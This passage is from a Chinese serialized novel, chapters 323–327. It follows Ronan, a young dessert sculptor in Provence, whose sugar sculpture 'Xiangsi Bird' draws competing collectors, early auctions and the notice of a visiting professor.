当然了,也有可能是罗南还没有资格做他的朋友。 不过罗南已经找到突破口了。 近期,他要找好姐姐朱莉特好好聊一聊。 下午,罗南和巴蒂依然留在展厅宣传编织。 根据巴蒂的不完全统计,这一天他们至少和几百名游客介绍了在橄榄油工坊门前的卢尔马兰手工艺合作社临时‘展区’。 不是每个看展览的游客都会马上去那里看看,他们还有其他的行程,不过大部分人表示在离开戈尔德前会找机会去一趟。 晚上,结束了一天的‘拉客’工作,他们再次和卡福碰头。 卡福告诉他们,今天卖出去了一万多法郎的编织产品,尤其是之前售卖不太理想的编织灯,今天卖出去了6盏,还有不少顾客询问有没有其他种类的编织产品了。 “想要其他种类编织物的顾客留下联系方式了吗?”罗南问卡福。 “当然!”卡福指着他的小伙子们说,“即使没提想要其他编织物的顾客,销售们也会尽可能的留下联系方式,能来的都是潜在顾客啊。” 巴蒂对罗南和卡福说: “等我忙完这几天回到卢尔马兰,就开始着手做新产品的研发,之前不知道要来这里现场卖.如果知道我就提前做些准备了。” 罗南也是在一周前才有了这个突发奇想,能这么快把摊子摆出来已经很不容易了,不可能尽善尽美。 罗南安慰卡福: “巴蒂的编织能力非常强,我也可以帮忙,什么都能做出来,你放心吧。” 卡福点了点头,用更加郑重的语气说: “咱们今天这种售卖模式非常成功,许多顾客都对罗南制定的一对一服务印象深刻,也许我们可以把这个模式保留下来,考虑在某个高档的地方开个实体店了。” “艾克斯?马赛?又或者是尼斯?”巴蒂开始兴奋了。 我们的规模已经大到要开店了吗? 罗南低头想了下: “别着急,先把这几天卖完,之后从长计议。” 早上来卢尔马兰的路上,罗南、佐伊和巴蒂还在为接下来有可能遇到的挑战而紧张,车上的气氛并没有多活跃。 但回去的路上,车上的气氛热闹多了。 罗南和巴蒂声情并茂的给佐伊描述了卡福那只既专业又优质的销售团队和今天在展览里的火爆景象。 佐伊听的合不拢嘴: “太有意思了,明天我必须去亲自看看。” 罗南侧头看了她一眼,关心的问: “你那边情况怎么样?还顺利吗?” 可能是由于缺少噱头,佐伊参加的几个活动都不温不火的,有游客去看,但客流量和罗德里格先生的展览和戈尔德城堡那里没办法比。 不过她在这里认识了许多同行和朋友。 展出的作品也有人报价了,算是收获满满。 佐伊欢快的‘嗯’了两声: “很顺利,今天有几个看起来就地位不一般人来和我搭话,快闭馆的时候,策展人也来找我了,和我聊了好久。” 她撑起脑袋,用疑惑的语气小声嘟囔: “他们似乎突然重视起我了?” 罗南笑着说: “肯定是你的作品征服了他们啊。” “谁知道呢。”佐伊开心的笑起来,车厢里都是她银铃般的笑声,“只要有人来看我的作品我就很满足了。” 事实证明,佐伊笑早了。 第二天,她所在的展区突然火热了起来。 来的不只是游客,还有业内的收藏家们。 不知为何,这些专业人士今天突然对佐伊的作品感兴趣了,组团过来欣赏。 中午去找佐伊吃饭的罗南看到这景象都傻了。 佐伊的作品已经这么火爆了明天雕塑展开幕,他还能帮助到佐伊吗? 第324章 不可能!这绝对不可能!! 安迪·戈兹沃西比游客们预想的要持久。 两天过去了,他只是用树枝和石头摆出了一个圆环形状的抽象事物,看来距离表达出大自然的‘偶然性’还有一定的距离。 普罗旺斯艺术界的专家们对此的看法是—— “他是不想放弃现在的流量,想把作品的创作时间尽可能的拉长。” “中午10点开始工作,下午3点半就结束回去了,他每天的工作时长比那些政府官员还短,而且这其中还会吃一个小时的饭,英国佬根本不是在创作,而是在拖延时间!” “安迪·戈兹沃西肯定不想这么快结束啊,多创作一天,城堡里的照片、纪念品和明信片就多卖一天,听说明信片卖到30法郎一张.他真觉得法国人是傻子吗?” 专家们言语犀利的抱怨完,问在座的几位中心展览策展人: “大家那里有什么‘热门’作品出现吗?” 关键时刻,普罗旺斯艺术界已经不分你我了。 什么油画、雕塑、陶瓷和玻璃器皿现在只有一个共同的名字——普罗旺斯的脸面。 只要能出现一个可以对打安迪·戈兹沃西的作品就行。 各位策展人互相看了看: “没有什么多人争抢的热门作品出现,如果有也是小范围的竞价,最终的成交价在正常范围内。” 这次的展览中超过90%以上的艺术品同时出售,是否出售和分佣比例等细节,在作品送展前双方就聊好了。 如果现场的某位游客对所展出的艺术品感兴趣,可以联系艺术顾问洽谈收藏细节。 而这种大型活动保留着传统的竞价模式,如若确定购买,需缴纳作品起售价10%的保证金,以便在未来有可能出现的的竞价环节有出价的资格。 不过为了鼓励本地藏家,本次系列艺术活动中藏家若持有普罗旺斯居民身份证,可豁免保证金的缴纳。 如果到展会结束无人竞价,则自动成交。 如若有多人对同一个艺术品感兴趣,那么主办方会通知藏家或藏家的委托人进行现场竞价,由价高者得。 作品的起售价定价原则如下: 普通艺术家的作品起售价在1-30000法郎之间,由展馆和艺术家共同决定,其中展馆的决定权大于艺术家本身。 知名艺术家作品由艺术家向展馆提供预期起售价,同时著名艺术家还拥有‘干预’权,即使作品已进入竞价环节,仍可随时撤回,只需支付起拍价10%的违约金即可。 截止到今日,参与活动的知名艺术家中没有哪位报出很高的起售价,也没有出现藏家扎堆的热门作品因此各位策展人才有了如上的推测。 听到这个答案,组委会的人又看向诺曼德先生: “头部藏家有特别中意的作品吗?” 诺曼德先生是组委会方邀请去参加普罗旺斯高端藏家聚会的,他身上背负着‘推销’作品的重任。 诺曼德先生语气淡淡的说: “头部收藏家的态度都比较冷静,没有必须要拿下的作品。” 现场的气氛更安静了,随后,组委会的众人看向明日开展的马雷查尔,这可能是他们最后的希望: “你那里呢.有热门作品出现的可能性吗?” 马雷查尔摇头: “知名艺术家群体的报价很理性,我这里的情况应该和大家的情况差不多。” 某位组委会成员问马雷查尔: “你极力推捧的那个新人艺术家呢?他的作品如何?” 几个中心艺术展和组委会的关系密切,他们的宣传计划需得到组委会的允许,而最近戈尔德中心雕塑展的宣传物料中全部会出现一个新人艺术家的名字。 马雷查尔的声音很平静: “宣传罗南的作品是想用‘甜品’的特殊性和唯一性去对抗安迪·戈兹沃西的现场创作,噱头的意义大于作品本身,事实上罗南的作用已经完成了。” 马雷查尔的目的是利用罗南的人气给中心雕塑展带来更多的游览量。 根据合作机构提供的数据显示,自从把罗南作为宣传噱头,中心雕塑展在戈尔德的讨论量直线上升,他们有望成为戈尔德系列艺术展中第二个达成单日游客量过万的活动而第一个是罗德里格的艺术展。 此举无疑是在稀释安迪·戈兹沃西的流量,而且成功了。 诺曼德先生若有所思的想了下一下,问马雷查尔: “新晋艺术家作品的起售价更具局限性,罗南那个作品的起售价应该不会太高吧?” 罗南现在并不属于真正的艺术家行列,他属于新晋艺术家,在这种大型活动中,新晋艺术家恐怕没有任何定价权。 马雷查尔点头: “起售价7000法郎,如果只参考罗南的资历,这个数字只有2000-3000法郎,他没有拿得出手的艺术履历.是结合了近期的人气、作品的特殊性和技艺难度才给到了7000法郎的估价,内部评估作品的最终成交价会在50000法郎上下,以他现在的人气,肯定会有不少人感兴趣。” 起售价是综合艺术品和艺术家后的预估,展会对每个作品的成交价也有相应的预期。 诺曼德心情相当不错的微笑起来,和四周表情苦大仇深的同行形成了鲜明的对比。 马雷查尔给罗南的新作品定了起售价,说明它可以流传 好小子,真把防腐问题解决了! 诺曼德很早之前就决定了,只要罗南的下一个甜品作品不太差且可以保存,就启用博物馆的收藏基金把它收下来扩充博物馆的收藏类型。 马雷查尔定下7000法郎的起售价,代表这个作品的艺术价值完全可以弥补其艺术家没有履历这个缺点,说不定还相当的精美。 而5万法郎的预估成交价也完全在可接受的范围之内。 对于格拉内博物馆来说5万法郎能收入一个作品太‘便宜’了。 它可能还没有著名艺术家创作的艺术品起售价高呢。 今天会议的主题并不是罗南,这个话题很快就结束了,组委会众人小声交头接耳了一阵后,对普罗旺斯艺术界最核心的这几个人发布了新的命令: “不管热门作品是否能出现,我们都要尽可能多的把安迪·戈兹沃西的热度降下去,并把更多的目光吸引过来,所有中心展览的艺术品拍卖会全部挪到未来一周内进行,不再等到展会结束后举办,大家回去尽快做好安排。” 散会后,马雷查尔率先离开了位置。 中心雕塑展还没开始就要筹备拍卖会他的工作压力是最大的。 未来的每一天都会像打仗一样忙碌。 但刚走了两步,他就被人拦住了去处。 马雷查尔无奈的对诺曼德说: “我现在没有时间和你聊别的,你知道未来一周我要忙成什么样子了吗?” 诺曼德笑着对马雷查尔说: “巧了,我就是来帮你缓解工作压力的。” 马雷查尔皱着眉毛问: “你能帮我缓解什么工作压力?催促藏家们尽快‘买定离手’吗?” 诺曼德认真的说: “我是来给罗南的作品报价的,格拉内博物馆要收藏这个甜品。” “诺曼德真的很喜欢罗南,不仅帮助他联系我们给他一个机会,在没看到作品时就接受了起售价,这太神奇了。”西蒙斯放下钢笔,揉了揉发酸的眼角,用闲聊的语气对对面的马雷查尔说道。 马雷查尔一回到办公室就安排下去了大量的工作,让大家从今天开始就通知关系较好的买家拍卖会提前的消息,这样能避免有些人还没来看,作品就卖出去的情况发生。 “诺曼德很爱惜人才。”马雷查尔头都不抬的说,“他对新人艺术家的态度比许多人都开放。” 西蒙斯颇为感慨的说: “罗南也算是遇到赏识他的‘伯乐’了。” 他笑着继续说道: “真没想到啊,咱们中心雕塑展汇聚了那么多普罗旺斯知名艺术家,但接到的第一份报价居然是给新人艺术家罗南的,而且是在展会还没开始时就接到了,这样看来,人气在艺术界同样重要,那并不只是娱乐圈才该注重的东西。” 马雷查尔没有什么起伏的说: “总结和教训留到结束再说吧,现在还不是总结经验和教训的时候。” 突然,门口响起了急促的敲门声。 “请进。”西蒙斯对外面喊。 一个年轻女孩探了个头进来,对马雷查尔说: “艺术顾问通知藏家拍卖会时间提前时,接到了一个意向报价。” 西蒙斯开心的拍了下手: “又一个还没开展就报价的藏家出现了!报的是哪件作品?” 那女生看着手上的单子说: “是罗南的作品。” “我第一次见竞拍会时间如此密集的情况出现,未来一周戈尔德要热闹了。” 当晚,歌迪亚把罗南、佐伊和巴蒂叫到了她的艺术品商店,向他们讲述了她今天接到的几个电话。 这些电话的内容无一例外是主办方通知佐伊和巴蒂这两位艺术家留下x日x时的时间,参与其作品在戈尔德某场所举办的拍卖会。 通知佐伊的电话最多,她的三个作品都接到了多位收藏家的报价,全部要进行拍卖。 巴蒂有一个编织作品也接到了竞价的通知。 罗南对拍卖会和艺术展完全不了解.属于正在学习的状态,他好奇的问: “展览还没结束,拍卖会就开始了?” 歌迪亚耐心给他解释: “拍卖会在展览中途举办的情况不常见,但也不是没有过,有些大买家的时间有限又想亲自参与竞拍,或者主办方想利用展览热度抬价等情况发生时.拍卖会的时间都会前后调整。” 巴蒂被巨大的喜悦所包裹,他的作品居然有人出价了,而且不止一个! 得到这个消息后,他兴奋的跑了出去,说要通知他那些可爱的妇女朋友们,坚定她们做编织的信心。 佐伊则冷静多了,发现了其中不寻常的地方: “我和巴蒂参加的活动开始时间跨度有半个月那么长,种类也不同,但都扎堆到同一段时间内举行拍卖会.感觉好奇怪啊。” 罗南挑眉: “也许是为了抢走安迪·戈兹沃西的热度?拍卖会举办的那么频繁,有实力的收藏家们都去拍艺术品了,哪还有时间去看现场创作。” “确实有这个可能性。”歌迪亚若有所思的点头。 随即她一脸笑容的对佐伊说: “但这些跟咱们没有关系,倒是你,你真给我长脸啊!你有一个作品有六个客户感兴趣,而且主办方给你定的起售价是2万法郎,这么多人抢,说不定最终成交价能超10万,这个价格都快赶上知名艺术家的作品成交价了!” 佐伊虽然还没有到知名艺术家的行列,但她的艺术‘履历’和口碑属于新人艺术家中的翘楚.且她之前的作品也卖出过几万法郎的高价,所以展馆给她作品的起售估价并不低。 佐伊的自信终于回来了,她搂着罗南的脖子,毫不谦虚的说: “那是当然,这个的作品凝聚了我和罗南两个人的努力,我们两个人的价值当然比我一个人的价值高!尤其罗南那么厉害!” 这个被多人喜欢作品的石膏模具是罗南帮助她‘实验’成功的。 虽然最终的石膏模板由佐伊自己雕刻成,但罗南的刀工帮助佐伊解决了一个很复杂的技术难题。 歌迪亚翻了个白眼,离开了狗粮攻击区域,拿起扫帚去扫地: “好好好,你们家罗南最厉害了。” 佐伊像孩子一样,开心的挂到罗南的脖子上: “如果这个作品真的能卖出高价,我们的装修预算大大的升级!” “我一定好好设计!”罗南回抱住了佐伊。 小情侣正畅想未来的装修计划呢,艺术商店的电话响了。 歌迪亚只听了一个开头就震惊的举起扫帚,在空中快速抡了起来,像是要飞起来似的。 罗南像看‘神经病’一样,注视着她打完了那个电话,嫌弃的问: “精神病院通知你去复诊的电话对不对?” 歌迪亚怪叫了两声,举起扫帚指罗南: “老娘真是开了眼了!这个电话是通知你去参加拍卖会的,上帝啊,谁敢信啊,你的作品还没展出就进入竞拍流程了!!” 第325章 把艺术商业化 不怪歌迪亚大惊小怪。 在开展前作品就进入竞拍的情况实在太让人匪夷所思。 她和佐伊分析了好久都没有找到合理的理由。 “听说有些vip藏家可以在展览前看到作品说不定罗南的作品上vip私洽会了。” “不可能,如果有vip私洽会这种形式,签约时主办方一定会提前告知我们,这么重要的信息怎么可能忽视掉呢?” “我还听说有一些被主办方很看好的艺术品即使没有人报价,也会上拍卖会主办方是不是觉得罗南有潜力?” “也不太可能,万一拍卖会上没人举牌子,对艺术家的打击有点大吧?这不成‘公开处刑’了?” “我还听说.” 正在努力汲取艺术领域知识的罗南忍不住打断了她们: “为什么你们说的每一种可能前面都要加一个‘我听说’,没有什么准确一些的可能性吗?” 歌迪亚夸张的张大嘴巴: “你真觉得我和佐伊什么都懂?这种高级艺术品拍卖会都是封闭性质的.我们都没参加过,只能听说啊。” 佐伊补充道: “而且普罗旺斯的艺术拍卖有着自己的特殊形式,和其他地区规则不太一样,靠看电影和看书很难了解透彻,我们只能根据听说到的内容猜测有可能的情况。” 歌迪亚突然兴奋的叉起了腰: “不过我终于跟着你们‘扬眉吐气’了一次,可以去普罗旺斯的高级拍卖会见识见识了。” 佐伊看着歌迪亚说: “是我们跟着你‘扬眉吐气’了一次,如果没有你的提醒,可能到活动开幕我们才知道这个机会,你不知道我以前送展的过程有多波折.根本没有办法安心创作。” 罗南打断了她们的互相‘感谢’环节,问了一个关键问题: “我说个不是‘听说’的吧,我们卢尔马兰艺术家终于挤入普罗旺斯艺术界的核心区域了可以这样理解吗?” 歌迪亚又挥舞起了她手里的扫帚: “没错,可以这样理解!你们3个人进入了5场最核心的拍卖会,卢尔马兰艺术家终于走上普罗旺斯艺术界的舞台了!上帝,我们太厉害了!” 佐伊用鼓励罗南: “卢尔马兰正式登陆普罗旺斯艺术舞台后的第一枪就要由你打响了,明天你要加油啊!代表卢尔马兰给大家一个大大的惊喜!” 普罗旺斯艺术界会动用一切手段吸引来戈尔德看艺术展游客的目光。 在艺术展开幕前就得到两份意向报价这种罕见的事情自然被马雷查尔利用起来了。 第二天,本就备受瞩目的中心雕塑展,在各种小道消息的传播加持下终于开幕了。 结束自己的展览,罗德里格进入了看展模式。 这一周多他去了大大小小无数个展览,也给许多作品出过价,不过都是抱着随便‘报一报’的心态。 能得到他开心,得不到也无所谓,没有多喜欢。 但有一个作品罗德里格势必要拿下,那就是罗南的甜品。 事实上,收藏家投资艺术品大部分都是抱着‘做生意’的心态,寄希望于艺术品未来能够升值,罗德里格当然也是这样想的。 但他和其他收藏家还有一点不同。 在别人眼中,罗德里格收藏的艺术品全部是垃圾,实际上罗德里格靠这些垃圾赚回了许许多多的钱。 他是一个非常成功的靠艺术牟利的商人。 罗德里格曾把艺术品授权给某知名家具公司,此时法国非常流行的某款沙发,每卖出一个就要分给罗德里格一部分钱。 他还曾把多个艺术品工业化,赚得盆满钵满。 那些被其他收藏家评价为‘看不懂’、‘没有价值’的艺术品,在罗德里格看来全部有巨大的潜力和商业市场。 毕竟放到一百年前,谁也不相信人真的能飞到天上。 但现在飞机已经是一种非常普及的交通工具了。 商业嗅觉敏锐的罗德里格第一次见到罗南的甜品艺术品就喜欢上了,他又看到了新的商机! 那和作品的寓意、造型和故事背景关系不大。 罗德里格看上了甜品艺术这种足够稀奇的类别,还看上了甜品和吃挂钩,而吃是人类每天都离不开的行为动作.如果将它商业化可以发挥的空间会无比巨大。 可惜的是,‘希望’无法留存,那么罗德里格买下它的版权意义也不大了。 他说去卢尔马兰找罗南‘聊聊’的目的,就是想去和罗南探讨一下,看看‘希望’是否还有其他的商业价值可以挖掘。 虽然会大打折扣,但也不是没有运作的空间。 但现在,更好的机会出现在罗德里格的面前了——罗南还有另一个甜品艺术品,而且同样备受瞩目。 虽然罗德里格还没有想好如何利用甜品艺术赚更多的钱,而且没有看到这个作品长什么样子,但这个作品的版权他必须要拿到手上。 错过这么好的机会,下次不知道要等到什么时候了因为作品的人气是商业价值的基础。 谁能保证罗南做的下一个甜品也能吸引来这么多人的关注和目光呢? 这都是可遇而不可求的! 于是昨天中心雕塑展的顾问通知展会信息时,罗德里格还没看到作品就表明了意向。 只是万万想不到,在他表明态度前,居然也有人表明了意向因为罗德里格在稍晚的时候接到了竞价通知。 罗德里格想了整整一个晚上。 到底是谁在和他抢这个作品啊? 对方难道也和他一样,抱着‘必须拿下’的决心? 罗德里格倒是不担心东西会旁落,他有足够的资金支持他把这个艺术品拿下,而且这东西又不是什么知名艺术家做的卖不出什么高价。 他只是好奇对方的目的和身份。 于是今天一开馆,罗德里格就进来了。 如果对方的心态和他一样,也一定会着急过来看看他们势必要拿下的作品是什么样子的。 说不定可以通过默默观察,找出那个和他竞争的买家? 而且罗德里格有一种强烈的预感——那个人说不定是他的熟人。 第326章 此鸟名相思 戈尔德中心雕塑展9点半开展,10点一过罗德里格就在艺术顾问的指引下,顺利的找到了罗南的甜品。 像罗德里格这样的实力藏家看展,身边都是有艺术顾问相陪的.这些顾问既是讲解员又是活地图。 他们来的很早,但此时作品周围已经围着十几个人。 而且其中,还真有罗德里格认识的熟人存在。 罗德里格没有着急过去,现在过去也挤不进去好好欣赏,他停在旁边距离适中的某作品前,让艺术顾问给他讲一讲。 不过过程中,他的目光始终落在罗南作品前的区域想通过观察判断一下,那熟人是不是和他竞价的人。 “马里尼,你用专业的角度给我讲讲,罗南这个作品属于什么水平?” 戈尔德举行如此重要的雕塑展,马里尼这个雕塑家怎么能不来参与一下呢? 马里尼来戈尔德,和他形影不离的糖果大王加布里埃尔自然要一起。 而他们此行的第一个目的地就是来看罗南的甜品。 马里尼的脸色差的不得了: “什么水平?反正是我做不出来的水平,如果我有这个水平,今天就是来参加而不是参观了。” 马里尼也申请了中心雕塑展,但是作品没有通过评选。 看到罗南的作品,他是又嫉妒又开心.心情复杂极了。 加布里埃尔笑着安慰老友: “不要着急,很多艺术家都是大器晚成,也许你未来会比罗南更加厉害,你知道的,刻苦和天赋同样重要。” 在罗南的这帮朋友眼中,罗南毫无疑问是天赋性选手——老天爷追着喂饭吃的那种。 马里尼语气不算多好的说: “我都快40了,还要等到多大才能成才?” 加布里埃尔讪讪的笑了两声: “那就是学习的素材不够,等着,我把罗南这个作品买下来让你慢慢学习!” 帮助马里尼学习是其一,继续刷罗南的好感是其二。 罗南在戈尔德大放异彩,未来他在红酒协会中说话的分量肯定更加重了,加布里埃尔决定继续在他身上加码! 加布里埃尔的艺术顾问同样在身旁相陪,他马上指着这个作品对身后的艺术顾问窃窃私语起来。 不远处,罗德里格的眉头微微皱起。 他和加布里埃尔没有交集,但在某些商务聚会上见过面。 是这位糖果大王在和他竞争吗? 想想也是极有可能的。 甜品和糖果的联系极为密切加布里埃尔想买下版权做大批量变现? 思量间,又有一个罗德里格的熟人出现了。 不,是两个。 “这两位也来普罗旺斯了?”罗德里格小声嘟囔了一句。 皇家艺术学院是法国艺术殿堂级别的学校,被誉为法国艺术的‘心脏’,里面的教授自然也都是响当当的人物。 在现代艺术领域,皇家艺术学院最著名的教授就是高德曼了。 这次普罗旺斯艺术界的盛事,也把他和他的学生们吸引来了。 “这就是那个还没开展就有人竞价的甜品。”高德曼教授的副手阿里代给他介绍道。 “有意思,还真有人用甜品创作.而且做的还挺不错的。”高德曼教授俯下身子认真观看了几秒,“刀工很扎实啊。” 他对身后的几名学生说: “我常说,艺术是没有边界的,也没有局限性,这就是个很好的例子,你们看看在这个作品上有什么值得学习的地方。” 在学生们闷头记录的时候,高德曼教授对阿里代说: “普罗旺斯真是个神奇的地方,有特色的艺术家似乎都喜欢围绕动物创作,记得咱们半年前去艾克斯参加艺术活动,有个年轻女孩做玻璃器皿旁边也放了几个动物雕塑.挺有特色的,这个特殊的甜品作品也是动物。” 阿里代正在看旁边的作品介绍,笑着说: “教授,这个作品的创作初衷居然是和一个女孩有关,要不要让学生们听听这个作品的故事,也许可以开拓他们的创作思路?” 高德曼教授点头: “可以,这趟带他们来普罗旺斯目的就是多看、多学,你去问问,这位艺术家什么时候过来讲作品?到时候我们过来听听。” “好的。”阿里代离开皇家艺术学院的团体,去问接待他们的顾问,“艺术家什么时候过来?” 高端艺术展中的顾问必须是察言观色的高手,不用阿里代说明原因,她便理解了需求: “稍等我去协调一下时间,看看能不能让艺术家现在就过来。” 罗德里格开始正色起来。 在法国玩艺术的人,没有不认识高德曼教授和他的副手的。 虽然皇家艺术学院是学校性质,但他们也有自己的博物馆。 阿里代也在咨询艺术顾问? 如果是和皇家艺术学院抢,罗德里格就没有那么自信了。 他们可是学术权威啊。 那不是钱的问题了。 皇家艺术学院人的加入让罗德里格有了危机感。 他提醒自己的艺术顾问这里了解的差不多了,去那边看看。 顾问见罗德里格先生在这个作品前驻足了这么久,误认为他感兴趣,于是没有马上离开,又把这个作品的主题升华了一下,既希望能推一把这位实力买家做决定。 在这位负责的艺术顾问‘收尾’阶段,罗德里格在罗南的作品前又看到了一个熟人。 没错,第三位熟人出现了! 在普罗旺高端收藏家聚会上,坐在他旁边的妇人也来了,这同样是一位实力藏家! 没办法,大家都听说展会未开启,这个甜品就有人竞价了他们太好奇这是什么样子的作品了,都想第一时间来看看。 那妇人在一众人的陪伴下来到作品前,只看了一眼就惊讶的对身边的人说: “和‘希望’的风格完全不一样,我以为这位叫罗南的新人艺术家擅长的是叙事风格的作品,没想到功底很足啊。” 在她身边同样跟着中心雕塑展的艺术顾问,那人给这位妇人模样的收藏家介绍道: “桑松女士,这件作品不止体现了罗南的雕刻功底,它同样也是一件叙事向的作品呢,您看看作品介绍就知道了。” 名叫桑松的女士转移视线看向作品介绍。 一开始她的表情还很正常,但越看她的表情越是震惊,最后嘴巴都张起来了: “居然和爱情有关,这是我这次来戈尔德见到的第一件和爱情有关的作品!” 事实上,很多收藏家态度冷静,也是因为此次系列活动的主题太‘同质化’了,全部是围绕自然展开的,且只围绕自然。 看一件两件觉得新鲜,看得多了也就那么回事了。 但这个作品居然把自然和爱情联系到了一起! 巧妙啊! 桑松女士没有过多犹豫,马上对艺术顾问说: “我对这个作品感兴趣。” 几米远外的罗德里格彻底不淡定了,他看到了桑松女士态度转变的全部过程。 不等艺术顾问说完,他便独自向这个刚展出没一会就至少吸引四批人感兴趣的作品走去。 事实上罗德里格对艺术品好坏的判断标准和其他藏家不同,他不看重作品的精美程度,对背后创作故事也并不感冒只看重作品的商业潜力。 但一连那么多位‘熟人’都对这个作品表达了兴趣,让罗德里格也少有的对这个艺术品的外形和背景故事好奇了起来。 这究竟是件什么作品,又有什么背后的故事啊? 很快,他终于看到这个甜品的庐山真面目。 那是一只雕刻极度精美的小鸟,每一片羽翼都栩栩如生。 它通体呈白色,羽翼泛着点点红色,站在同样由精美的花纹组成的‘绣球’上,四周还有树枝和花朵做点缀。 “果然是件精美的艺术品。”罗德里格把他的单片眼镜戴到脸上,这代表他要认真欣赏了。 看过外形,罗德里格又把视线放到旁边的作品介绍上: 作品名称——相思鸟 作品介绍: “搬来普罗旺斯后,我的身边始终有一只可爱的小鸟存在。 春天,她掠过头顶,将冬眠的我唤醒。 夏天,她翅膀翕动,在烈日的正午带来薄荷味的凉爽。 秋天,她嵌着金黄的麦穗叩门,提醒我丰收的季节开始了。 冬天,她将我护在羽翼之下,隔绝米斯特拉尔风的拍打。 她喜欢观察自然,喜欢观察鸟,她说那是她小时候最喜欢干的事情。 我喜欢观察她,喜欢观察她模仿鸟时的可爱模样,那是我搬到普罗旺斯后最喜欢干的事情。 我的女孩将她对大自然的观察落于一个个作品上,鸟是她最喜欢的载体。 我也将我的观察落于作品之上,为‘她’作画。 此鸟名相思。 雌雄鸟常形影不离、相伴相依,被视为爱情鸟,象征对伴侣的忠贞和守护。 现实里,我与她已形影不离。 我希望这个作品也能和她创作的鸟相依相伴。 在保护她眼中自然最美好样子的同时,插上翅膀,带去我对她的相思。” 人群里,罗德里格的身体开始轻微颤抖,手指也不由自主的握紧。 他发誓必须要拿下这个作品,必须! 他在这个作品上看到了无穷无尽的商业价值!! 突然,四周人群出现了明显骚动,不知有谁喊了一句: “是罗南,罗南来介绍作品了!” 第327章 20世纪最甜美的艺术革命 第一次参加高级艺术展的罗南,觉得这里也没比罗德里格先生举行的展览高级到哪里去,甚至有些地方还没有上一次参加活动时‘专业’。 事先罗南接到的通知是,上午11点去他的作品前进行一个简短的介绍,届时会介绍他和主办方的各位领导认识。 没成想,刚来到戈尔德中心雕塑展就被要求立即去介绍作品,不等11点了。 对接人甚至还煞是焦急的说: “你怎么才来啊,有一位贵宾在作品前等好久了,我们快点过去,你的介绍时间要提前了。” 做为一名优秀的艺术经纪人,歌迪亚关心的重点在其他方面: “主办方的领导们也会一起去吗?” 罗南亮相时最好有主办方的领导在场,这样才能凸显出他的重要性。 他自己在前面讲,后面没有‘压阵’的人会显得不被重视从而影响藏家们的热情。 不要忘记,这周的晚些时候,卢尔马兰的艺术家们要陆续去参加拍卖会,罗南的表现极有可能会影响佐伊和巴蒂。 卢尔马兰已经悄悄的出现在了普罗旺斯艺术界的舞台上,这一周会有无数双眼睛注视着这三个人的言行和他的作品,马虎不了一点。 对接人脚步飞快: “领导们早早的就去接待了,那是一位远道而来的贵宾,大家的时间都调整了。” “好的。”歌迪亚放心的点了一下头。 她凑到罗南身边,小心翼翼的说: “能让主办方的各位领导也跟着改时间,一定是重量级的嘉宾,到时候你一定要表现的热情一点,争取让对方记住你。” 开幕当天,主办方的人肯定是最忙碌的。 肯因为一个人改变时间安排,说明对方的分量足够重。 罗南左看看右看看,像个好奇宝宝,没有什么情绪起伏的回应歌迪亚: “好的。” 怕罗南不够上心,歌迪亚在他胳膊上用力拍了一下: “在普罗旺斯艺术界混最重要的就是声誉和名气,你已经有名气了,现在缺的是声誉,一位尊贵嘉宾的赏识抵得上无数声誉,你要抓住这个机会!” 罗南揉着胳膊说: “但那是热情就能解决的事情吗?我没办法决定人家嘉宾的态度啊。” 歌迪亚严肃的说: “总之你先给我拿出热情!!” 接待人带领罗南和歌迪亚来到作品所在的展厅。 默默观察一路的罗南脸上已露出喜色。 戈尔德中心雕塑展的游客量比其他展览明显高出去不少,看起来这里备受瞩目啊。 待会他要好好介绍了。 那可是他准备好几天的草稿呢。 歌迪亚远远的看到了马雷查尔和一白发老者笑着交谈,像老母亲一样提醒罗南: “那位白头发的老先生应该就是远道而来的嘉宾,去吧,热情点,和大家打个招呼。” 事实上,歌迪亚很清楚罗南并不是一个热情的人,至少对待陌生人没办法表现出像普罗旺斯人一样‘自来熟’的热情所以她才会不停的提醒。 但她亲眼目睹罗南脸上的微笑越来越大、越来越大.脚步也跟着快起来了。 “开窍了?”歌迪亚默默在心里嘀咕了一句。 马雷查尔不认识罗南,不过他认识罗南身后的歌迪亚。 那个爆炸头的冷漠女士给他留下了很深的印象。 见到她身前有一个年轻的小伙子笑着向他们走来,马雷查尔微不可查的调转了身体的方向,面向这个初次见面,但每天都会出现在于他生活里的人。 “好年轻”马雷查尔默默在心里嘀咕了一句。 介于罗南为中心雕塑展的流量做出了无比巨大的贡献,又介于皇家艺术学院的师生对这个甜品作品非常感兴趣,马雷查尔主动向高德曼教授介绍: “这位就是‘相思鸟’的作者——罗南。” 但他一回头,发现高德曼教授已离开原地,似乎在他介绍之前就向着罗南走去了。 “高德曼教授,您又来普罗旺斯了。”罗南难掩兴奋的打招呼。 这位老者是佐伊名副其实的‘伯乐’,就是他的几句点评让佐伊首次被人关注到,才有了后面的这些故事。 虽然上次接触的时间很短,罗南也不确定对方是不是还记得自己但还主动来打招呼了。 这是对高德曼教授的尊重! 高德曼教授的脸上出现了明显的矛盾和迟疑,他微眯眼睛,指着罗南说: “我们肯定见过,但我不记得我们在哪里见过了。” 他对罗南这张黄皮肤的脸有印象。 罗南把他们半年前在艾克斯艺术展上相遇的过程简单描绘了一遍,旁人听的云里雾里的。 什么器具,什么动物啊? 但高德曼已经记起来了,他对身边的阿尔代说: “太有缘了,我们才刚刚提过那个女孩和那几个动物木雕,见证人就出现了。” 罗南笑容灿烂的说: “您说的那个女孩现在是我女朋友了。” 阿尔代正在为创作‘相思鸟’的艺术家居然和他们早已有过一面之缘而震惊,听到罗南的话更加震惊了。 他忘记了身后还有学生,八卦的问: “‘相思鸟’就是根据那个女艺术家为原型创作的?” 此刻围在周围的人都在等待罗南讲述‘相思鸟’背后的创作故事。 两位教授和罗南的互动内容让大家对这个故事更加好奇了。 什么,这个爱情故事居然还有见证人? 而且是德高望重的两位皇家艺术学院教授?! 歌迪亚看着周围参观者的反应,嘴角都快咧到耳朵根了。 罗南的这个亮相简直完美! 不仅多出了两位艺术界知名教授的背书,当众弥补了自己的短板,还把作品的期待值拉得更高了!! 马雷查尔同样感到欣喜和激动。 原来罗南并不是没有艺术履历。 别管他们聊的是什么内容,能和两位皇家艺术学院的教授聊这么久,足够证明他的资历。 试问在场的有几人能和高德曼教授聊的这么有来有去呢? 之前马雷查尔使用‘普罗旺斯新晋艺术家代表’这个噱头是为了吸引流量关注过来。 现在他认为,罗南绝对有资格坐上这把交椅。 还有哪个新人艺术家和能罗南匹敌吗? 论流量,罗南一骑绝尘,比很大一部分知名艺术家更有人气。 论实力,罗南并不差,而且甜品还有稀缺性。 论背景.高德曼教授和他自己都可以给罗南做背书。 